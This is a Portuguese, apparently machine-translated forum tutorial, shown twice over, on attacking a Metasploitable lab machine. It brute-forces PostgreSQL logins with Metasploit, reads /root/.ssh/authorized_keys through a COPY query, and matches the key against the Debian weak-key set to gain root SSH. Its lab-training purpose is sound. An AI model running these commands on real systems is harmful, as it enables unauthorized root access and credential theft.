Postgres irá violar começando com um ataque de dicionário, graças a um módulo Metasploit, para pegar a chave do arquivo / etc / passwd e RSA armazenados em / root /. Ssh / authorized_keys. Finalmente vemos outra forma de explorar tikiwiki aplicação web de uma forma mais automatizada do Metasploit.
Postgres ruptura com Metasploit
O PostgreSQL é um banco de dados relacional sistema de gestão e orientada a objetos livre (como a versão não-comercial do MySQL), lançado sob a licença BSD, e postgres é o nome do serviço que usamos para controlar o banco de dados PostgreSQL.
Começamos como de costume com o Metasploit msfconsole comando e olhar módulos Metasploit relacionados para procurar postgres PostgreSQL
[Tens de ter uma conta e sessão iniciada para poderes visualizar esta imagem]
No nosso caso vamos selecionar auxiliar / scanner / postgres / postgres_login e mostrar as suas opções:
1 use auxiliary/scanner/postgres/postgres_login
2 show options
[Tens de ter uma conta e sessão iniciada para poderes visualizar esta imagem]
Temos que mudar as rhosts ip e indicar nosso Metasploitable, 192.168.0.2, no meu caso, mas também pode alterar as seguintes opções:
PASS_FILE: podemos indicar o que o arquivo de senhas
USER_FILE: podemos indicar que nomes de arquivos do usuário
USERPASS_FILE: podemos indicar que os nomes de ficheiro - Senhas
STOP_ON_SUCESS: Se você marcar esta opção permite-nos indicar que o arquivo de senhas
Rport: nós podemos mudar a porta que está executando o postgres, se a vítima não tem uma porta padrão
Agora, o lançamento do módulo exploit e se tudo correr bem, devemos ver algo como isto:
[Tens de ter uma conta e sessão iniciada para poderes visualizar esta imagem]
Por que isso acontece? Não acontece de alterar as credenciais padrão de aplicações, se você conseguir um sistema, por favor, alterar os dados de acesso padrão e também, neste caso, teria sido útil para limpar a amostra banco de dados template1
Bem, sabemos que as credenciais de acesso postgres, e faltando apenas loguearnos do Metasploit com:
1 psql-h 192.168.0.2-p 5432-U postgres-W
Agora vamos usar já estão em postgres (e que o usuário / grupo pode acessar o postgres / raiz) para o arquivo que contém a chave pública SSH.
Ssh chaves não são tudo aleatório que deve
Uma vez que tenhamos chegado a este ponto, você pode executar a seguinte consulta a vantagem postgres que nenhuma restrição de permissões de acesso / root / ssh / authorized_keys.:
1 create table clavessh (input TEXT);
2 copy clavessh from '/root/.ssh/authorized_keys';
3 select input from clavessh;
E o resultado será algo parecido com isto
[Tens de ter uma conta e sessão iniciada para poderes visualizar esta imagem]
Bem, só acho que ... esta é a chave ssh pública, o que é verdade. Mas em certas versões do Debian (e outras distribuições baseadas no Debian), especificamente entre setembro de 2006 e maio de 2008 como gerar chaves públicas não era tão aleatório como deveria. Isto é, o número de processos utilizados para gerar a chave, o qual muito reduzido o número, ou seja, 65 536 pares de chaves pública-privada.
Houve pessoas que foram dedicadas para gerar a chave de 65.536 ... mantendo a relação entre as duas chaves (pública e privada) Então, se nós contraste a chave que obtivemos com a 65536, nós temos a chave privada sem esforço:
Descompacte o arquivo e dentro rsa/2048 / fazer o seguinte para comparar a chave:
1 grep -lr [la clave que hemos obtenido anteriormente] *.pub
Como isso é feito só podemos conectar, no nosso caso:
Ssh-i 1-5429 57c3115d77c56390332dc5c49978627a [Tens de ter uma conta e sessão iniciada para poderes visualizar este link].0.2
Já estamos em um shell de root, graças a essa vulnerabilidade:
[Tens de ter uma conta e sessão iniciada para poderes visualizar esta imagem]
Bem, isso é tudo pessoal, aqui termina série de exploitation, espero que tenha servido a algum propósito consciente e vós, por que não manter os dados padrão em aplicativos (e mais se tem saída à Internet)
Postgres ruptura com Metasploit
O PostgreSQL é um banco de dados relacional sistema de gestão e orientada a objetos livre (como a versão não-comercial do MySQL), lançado sob a licença BSD, e postgres é o nome do serviço que usamos para controlar o banco de dados PostgreSQL.
Começamos como de costume com o Metasploit msfconsole comando e olhar módulos Metasploit relacionados para procurar postgres PostgreSQL
[Tens de ter uma conta e sessão iniciada para poderes visualizar esta imagem]
No nosso caso vamos selecionar auxiliar / scanner / postgres / postgres_login e mostrar as suas opções:
1 use auxiliary/scanner/postgres/postgres_login
2 show options
[Tens de ter uma conta e sessão iniciada para poderes visualizar esta imagem]
Temos que mudar as rhosts ip e indicar nosso Metasploitable, 192.168.0.2, no meu caso, mas também pode alterar as seguintes opções:
PASS_FILE: podemos indicar o que o arquivo de senhas
USER_FILE: podemos indicar que nomes de arquivos do usuário
USERPASS_FILE: podemos indicar que os nomes de ficheiro - Senhas
STOP_ON_SUCESS: Se você marcar esta opção permite-nos indicar que o arquivo de senhas
Rport: nós podemos mudar a porta que está executando o postgres, se a vítima não tem uma porta padrão
Agora, o lançamento do módulo exploit e se tudo correr bem, devemos ver algo como isto:
[Tens de ter uma conta e sessão iniciada para poderes visualizar esta imagem]
Por que isso acontece? Não acontece de alterar as credenciais padrão de aplicações, se você conseguir um sistema, por favor, alterar os dados de acesso padrão e também, neste caso, teria sido útil para limpar a amostra banco de dados template1
Bem, sabemos que as credenciais de acesso postgres, e faltando apenas loguearnos do Metasploit com:
1 psql-h 192.168.0.2-p 5432-U postgres-W
Agora vamos usar já estão em postgres (e que o usuário / grupo pode acessar o postgres / raiz) para o arquivo que contém a chave pública SSH.
Ssh chaves não são tudo aleatório que deve
Uma vez que tenhamos chegado a este ponto, você pode executar a seguinte consulta a vantagem postgres que nenhuma restrição de permissões de acesso / root / ssh / authorized_keys.:
1 create table clavessh (input TEXT);
2 copy clavessh from '/root/.ssh/authorized_keys';
3 select input from clavessh;
E o resultado será algo parecido com isto
[Tens de ter uma conta e sessão iniciada para poderes visualizar esta imagem]
Bem, só acho que ... esta é a chave ssh pública, o que é verdade. Mas em certas versões do Debian (e outras distribuições baseadas no Debian), especificamente entre setembro de 2006 e maio de 2008 como gerar chaves públicas não era tão aleatório como deveria. Isto é, o número de processos utilizados para gerar a chave, o qual muito reduzido o número, ou seja, 65 536 pares de chaves pública-privada.
Houve pessoas que foram dedicadas para gerar a chave de 65.536 ... mantendo a relação entre as duas chaves (pública e privada) Então, se nós contraste a chave que obtivemos com a 65536, nós temos a chave privada sem esforço:
Descompacte o arquivo e dentro rsa/2048 / fazer o seguinte para comparar a chave:
1 grep -lr [la clave que hemos obtenido anteriormente] *.pub
Como isso é feito só podemos conectar, no nosso caso:
Ssh-i 1-5429 57c3115d77c56390332dc5c49978627a [Tens de ter uma conta e sessão iniciada para poderes visualizar este link].0.2
Já estamos em um shell de root, graças a essa vulnerabilidade:
[Tens de ter uma conta e sessão iniciada para poderes visualizar esta imagem]
Bem, isso é tudo pessoal, aqui termina série de exploitation, espero que tenha servido a algum propósito consciente e vós, por que não manter os dados padrão em aplicativos (e mais se tem saída à Internet)